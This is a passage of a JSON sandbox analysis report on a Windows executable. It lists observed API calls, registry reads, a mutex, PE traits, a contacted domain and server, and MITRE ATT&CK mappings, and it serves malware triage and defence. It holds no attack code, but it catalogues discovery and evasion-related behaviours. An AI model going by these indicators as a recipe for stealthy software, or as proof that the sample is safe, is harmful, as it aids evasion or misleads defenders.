7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3]","origin":"Static Parser","mitre_attack_id":"T1082","relevance":5,"id":"static-190","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API used to retrieve process information","description":"Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: 7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3]","origin":"Static Parser","mitre_attack_id":"T1057","relevance":5,"id":"static-189","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query local/system time as file time","description":"GetSystemTimeAsFileTime@kernel32.dll at 64812-34986-00000001501D0A9A","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1070.006","relevance":1,"id":"stream-71","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTimePreciseAsFileTime@kernel32.dll at 64812-9375-00000001500E6230\n GetSystemTimeAsFileTime@kernel32.dll at 64812-34986-00000001501D0A9A","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"RtlGetVersion@ntdll.dll at 64812-23245-0000000150129E2C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system","description":"GetSystemInfo@kernel32.dll at 64812-4817-00000001502EFDC0\n GetSystemInfo@kernel32.dll at 64812-23336-000000015012DF13","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":4,"id":"stream-86","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"GetForegroundWindow\" (Indicator: \"GetForegroundWindow\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-312","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language","description":"GetKeyboardLayout@user32.dll at 64812-25773-00000001501B2035","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1614.001","relevance":3,"id":"stream-79","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"RtlGetVersion\" (Indicator: \"GetVersion\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve/open a process","description":"GetProcessHeap@kernel32.dll at 64812-91-00000001500DEF90\n GetProcessHeap@kernel32.dll at 64812-18558-000000014FEBD53F\n GetProcessHeap@kernel32.dll at 64812-18559-00000001501ADA9A\n OpenProcessToken@advapi32.dll at 64812-21404-000000015009D67E\n GetProcessHeap@kernel32.dll at 64812-23278-000000015012B5F1\n GetProcessHeap@kernel32.dll at 64812-25688-00000001501ADC1C\n GetProcessHeap@kernel32.dll at 64812-25701-00000001501AE63D","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1057","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$2c","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"External Systems","name":"Sample was identified as clean by Antivirus engines","description":"0/24 Antivirus vendors marked sample as clean (0% detection rate)","origin":"External System","relevance":10,"id":"avtest-1","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$2d","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\QuartzLine (UID: 00000000-00005912)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"\"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe\" called \"LoadLibrary\" with a parameter user32.dll (UID: 00000000-00005912)\n \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe\" called \"LoadLibrary\" with a parameter ntdll.dll (UID: 00000000-00005912)\n \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe\" called \"LoadLibrary\" with a parameter WS2_32.dll (UID: 00000000-00005912)","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$2e","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"westbeavers.com\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"172.67.197.98:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"Contains ability to create named pipes for inter-process communication (IPC)","description":"NtCreateNamedPipeFile@ntdll.dll at 64812-22527-00000001500F0920","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1559","relevance":10,"id":"stream-45","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"Contains ability to create/control drivers (API string)","description":"Found reference to API \"NtDeviceIoControlFile\" (Indicator: \"NtDeviceIoControlFile\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"NtDeviceIoControlFile\" (Indicator: \"DeviceIoControl\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-220","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"NtOpenFile\" (Indicator: \"NtOpenFile\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"NtCreateFile\" (Indicator: \"CreateFile\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"NtCreateFile\" (Indicator: \"NtCreateFile\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"Contains ability to delay the execution of current thread","description":"WaitForSingleObject@kernel32.dll at 64812-9334-00000001500F52F0\n WaitForSingleObject@kernel32.dll at 64812-9337-00000001500E54F0\n WaitForSingleObjectEx@kernel32.dll at 64812-9380-00000001500DAD80\n WaitForSingleObject@kernel32.dll at 64812-9436-00000001500DEAF0\n WaitForSingleObject@kernel32.dll at 64812-10107-000000015018FFE2\n MsgWaitForMultipleObjectsEx at 64812-13146-000000014FED3C2F\n WaitForSingleObject@kernel32.dll at 64812-21334-00000001500F2AA0\n WaitForSingleObject@kernel32.dll at 64812-21335-00000001500E6260","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.003","relevance":3,"id":"stream-103","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: 7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3)","origin":"Static Parser","mitre_attack_id":"T1027.007","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"LoadLibraryA@kernel32.dll at 64812-9380-00000001500DAD80\n LoadLibraryExA@kernel32.dll at 64812-25688-00000001501ADC1C\n LoadLibraryExA@kernel32.dll at 64812-25701-00000001501AE63D\n LoadLibraryA@kernel32.dll at 64812-25758-00000001501B0E34","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$2f","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"CommandLineToArgvW\" (Indicator: \"CommandLineToArgv\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"WSAGetLastError\" (Indicator: \"GetLastError\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$30","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"Process 7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5912:304:WilStaging_02\"\n Process 7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe created mutex with name \"Local\\SM0:5912:304:WilStaging_02\"","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"premium-server@thawte.com\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$31","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"Found well known domains (string)","description":"\"y\" as a valid key for accelerator\n if you feel like it should be\n please report this to https://github.com/tauri-apps/muda\" (Indicator: \"github.com\")","origin":"File/Memory","relevance":1,"id":"string-135","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$32","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 1C1F0000\n \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 1AC50000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 1E420000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a00b700000040c7e21bff7f0000@ntdll.dll\"\n \"22002300b700000018c7e21bff7f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\" was detected as \"Microsoft Visual C/C++\" and name: \"Compiler\"\n \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\" was detected as \"Microsoft Linker\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"\"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe\" touched \"Task Bar Communication\" (Path: \"HKCU\\CLSID\\{56FDF344-FD6D-11D0-958A-006097C9A090}\\TREATAS\")","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\" has an writable section named \".data\"\n \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\" has an writable section named \".tls\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"\"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\" file has an entrypoint instructions - \"sub\trsp, 0x28,call\t0x1501d0a80,add\trsp, 0x28,jmp\t0x1501d0670,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,push\trbx,sub\trsp, 0x20,cmp\tqword ptr [rip + 0x3aed6a], -1,mov\trbx, rcx,jne\t0x1501d082a,call\t0x1502f0130,jmp\t0x1501d0839,mov\trdx, rbx,lea\trcx, [rip + 0x3aed54],call\t0x1502f0120,xor\tedx, edx,test\teax, eax,cmove\trdx, rbx,neg\trdx,sbb\teax, eax,neg\teax,dec\teax,add\trsp, 0x20,pop\trbx,ret\t,sub\trsp, 0x18,\"","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".text\" is \"0x4cf200\" greater than 0x100000\n Raw size of \".rdata\" is \"0x28c600\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".text\" is \"0x4cf136\" greater than 0x100000\n Virtual size of \".rdata\" is \"0x28c5f4\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"PE file has a high image base","description":"\"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\" has high imagebase \"0x14fe20000\"","origin":"Static Parser","relevance":1,"id":"static-93","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"westbeavers.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")","origin":"Registry 